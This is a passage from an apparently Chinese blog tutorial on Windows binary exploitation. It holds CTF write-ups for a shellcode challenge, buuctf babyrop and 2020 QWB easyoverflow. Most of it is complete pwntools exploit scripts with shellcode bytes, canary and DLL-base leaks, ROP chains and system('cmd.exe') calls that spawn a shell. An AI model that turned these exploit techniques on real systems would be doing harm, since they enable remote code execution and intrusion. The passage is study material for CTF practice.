buf += b"\x67\xef\xad\xa9\x42\x6c\xa9\x56\x13\x44\xc1\x61"
buf += b"\x81\xe8\xbd\x8d\x45\xe8\x3d\xd8\x0f\xe8\x55\xbc"
buf += b"\x6b\xbb\x40\xc3\xa1\xa8\xd8\x56\x4a\x98\x8d\xf1"
buf += b"\x22\x26\xeb\x36\xed\xd9\xde\x44\xea\x25\x9c\x62"
buf += b"\x53\x4d\x5e\x33\x63\x8d\x34\xb3\x33\xe5\xc3\x9c"
buf += b"\xbc\xc5\x2c\x37\x95\x4d\xa6\xd6\x57\xec\xb7\xf2"
buf += b"\x36\xb0\xb8\xf1\xe2\x43\xc2\x7a\x14\xa4\x33\x93"
buf += b"\x71\xa5\x33\x9b\x87\x9a\xe5\xa2\xfd\xdd\x35\x91"
buf += b"\x0e\x68\x1b\xb0\x84\x92\x0f\xc2\x8c"

assert(b'\n' not in buf)

shellcode = '''
mov ebx,0xffffffff
xor ecx,ecx
mov edi,0xffbfdf43
xor edi,ebx
push ecx
call [edi] ; call __acrt_iob_func(0)
mov edi,0xffbfdf3f
xor edi,ebx
push eax
mov esi,0xfffff9ff
xor esi,ebx
push esi
push esp
call [edi] ; call fgets(esp, 0x600, stdin)
pop esi
jmp esp
'''

shellcode = b'''\xbb\xff\xff\xff\xff1\xc9\xbfC\xdf\xbf\xff1\xdfQ\xff\x17\xbf?\xdf\xbf\xff1\xdfP\xbe\xff\xfb\xff\xff1\xdeVT\xff\x17^\xff\xe4'''

assert(b'\n' not in shellcode and b'\x00' not in shellcode)
assert(len(shellcode) < 120)

pop2 = 0x271f16ac # pop ecx ; pop ebp ; ret
payload = shellcode.ljust(120, b'\xAA') + b'\xeb\x86\xAA\xAA' + p32(pop2) + b'cmd.exe'

pause()
p.sendlineafter(b'data:', payload)

pause()
p.sendline(buf)

p.interactive()

不知道为什么,每次执行shellcode,win7都报程序错误而无法反弹shell,有点怪。。。

buuctf-babyrop

查看保护。

image-20240206011251041

保护基本全开。

程序很简单,就是基本的windows ROP。

image-20240206011537354

利用思路:

  1. 泄露dll基地址
  2. ROP执行system("cmd.exe")

调试过程:

这里主要是演示如何查找符号,以及字符串。

image-20240202152944501

最终wp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import warnings

warnings.filterwarnings("ignore", category=BytesWarning)

context.log_level = 'debug'

p = remote('192.168.0.190', 1234)

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

pause()

p.sendafter('your name', b'a' * 99 + b'@')
p.recvuntil('@')
msvcr100_base = u32(p.recv(4)) - 0x1163d
lg('msvcr100_base', msvcr100_base)
stack_addr = u32(p.recv(3).ljust(4, b'\x00'))
lg('stack_addr', stack_addr)

system = msvcr100_base + 0x61632
cmd = msvcr100_base + 0x42030
lg('system', system)
lg('cmd', cmd)

payload = flat(
{
0xcc: [
0, system, 0, cmd
]
}, filler='\x00'
)
p.sendlineafter('your message length', str(len(payload)))
p.sendline(payload)

p.interactive()

image-20240206012036671

2020 qwb easyoverflow

查看保护。

image-20240206014742407

保护基本全开。

需要注意的是,当关闭ASLR时,程序无法正常运行,这里直接进行调试。

main

image-20240206015115496

存在三次机会栈溢出以及任意地址泄露。

这里看下程序如何生成canary的。

image-20240206015320731

程序通过rsp__security_cookie 异或得到的canary。

思路如下:

  1. 泄露canary,泄露程序基地址,返回到main函数重新执行
  2. 泄露canary,泄露ntdll基地址,布置栈帧,执行ROP泄露__security_cookie,同时利用rbx控制循环次数
  3. 泄露ucrtbase基地址,获取system地址与字符串cmd.exe地址
  4. 执行system("cmd.exe") ,获取shell。

最终wp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import code
from pwn import *
import warnings

warnings.filterwarnings("ignore", category=BytesWarning)

context.log_level = 'debug'
context.arch = 'amd64'

p = remote('192.168.0.190', 1234)

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

# raw_input()

p.sendafter('input:', b'a' * 0xff + b'@')
p.recvuntil('@')
canary = u64(p.recv(6).ljust(8, b'\x00'))
lg('canary', canary)

p.sendafter('input:', b'a' * 0x117 + b'@')
p.recvuntil('@')
codebase = u64(p.recv(6).ljust(8, b'\x00')) - 0x12f4
lg('codebase', codebase)

main_addr = codebase + 0x1000

p.sendafter('input:', b'a' * 0x100 + p64(canary) + b'a' * 0x10 + p64(main_addr))

# raw_input()

p.sendafter('input:', b'a' * 0xff + b'@')
p.recvuntil('@')
canary = u64(p.recv(6).ljust(8, b'\x00'))
lg('canary', canary)

p.sendafter('input:', b'a' * 0x17f + b'@')
p.recvuntil('@')
ntdll_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x5aa58
lg('ntdll_base', ntdll_base)

pop_rcx_ret = ntdll_base + 0x91719
pop_rbx_ret = ntdll_base + 0x1297
puts_plt = codebase + 0x10A6
security_cookie = codebase + 0x3008

payload = b'a' * 0x100 + p64(canary) + b'a' * 0x10
payload += p64(pop_rcx_ret) + p64(security_cookie)
payload += p64(pop_rbx_ret) + p64(1)
payload += p64(puts_plt)
p.sendafter('input:', payload)

p.recvuntil('a' * 0x100)
p.recv(8)
security_cookie = u64(p.recv(6).ljust(8, b'\x00'))
lg('security_cookie', security_cookie)

old_rsp = security_cookie ^ canary
new_rsp = old_rsp + 0x160
lg('old_rsp', old_rsp)
lg('new_rsp', new_rsp)

canary = new_rsp ^ security_cookie
puts_got = codebase + 0x2180

payload = b'a' * 0x100 + p64(canary) + b'a' * 0x10
payload += p64(pop_rcx_ret) + p64(puts_got)
payload += p64(pop_rbx_ret) + p64(1)
payload += p64(puts_plt)
p.sendafter('input:', payload)

raw_input()

p.recvuntil('a' * 0x100)
p.recv(8)
puts = u64(p.recv(6).ljust(8, b'\x00'))
lg('puts', puts)
ucrtdll_base = puts - 0x5a660
lg('ucrtdll_base', ucrtdll_base)

system = ucrtdll_base + 0xbd2a0
cmd = ucrtdll_base + 0xe1000

canary = (new_rsp + 0x160) ^ security_cookie

payload = b'a' * 0x100 + p64(canary) + b'a' * 0x10
payload += p64(pop_rcx_ret) + p64(cmd)
payload += p64(system)
p.sendafter('input:', payload)

p.interactive()

image-20240206020022971

参考文章

https://a1ex.online/2021/05/03/Windows-%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AD%A6%E4%B9%A0/

https://a1ex.online/2020/10/15/Windows-Pwn%E5%AD%A6%E4%B9%A0/

https://www.anquanke.com/post/id/188170

https://www.kn0sky.com/?p=160

https://whereisk0shl.top/hitb_gsec_ctf_babyshellcode_writeup.html

https://blog.xf1les.net/2021/10/15/introduction-to-windows-x64-pwn-part-one/

https://xz.aliyun.com/t/2108?time__1311=n4%2BxnieDqGwxcDRgxBTroGkWO4iKPN6QwQx&alichlgref=https%3A%2F%2Fcn.bing.com%2F

https://luckyfuture.top/Msfvenom-Gen-ShellCode

https://xz.aliyun.com/t/2108?time__1311=n4%2BxnieDqGwxcDRgxBTroGkWO4iKPN6QwQx&alichlgref=https%3A%2F%2Fcn.bing.com%2F


windows-pwn入门
http://example.com/2024/02/06/windows-pwn入门/
作者
l1s00t
发布于
2024年2月6日
更新于
2024年2月6日
许可协议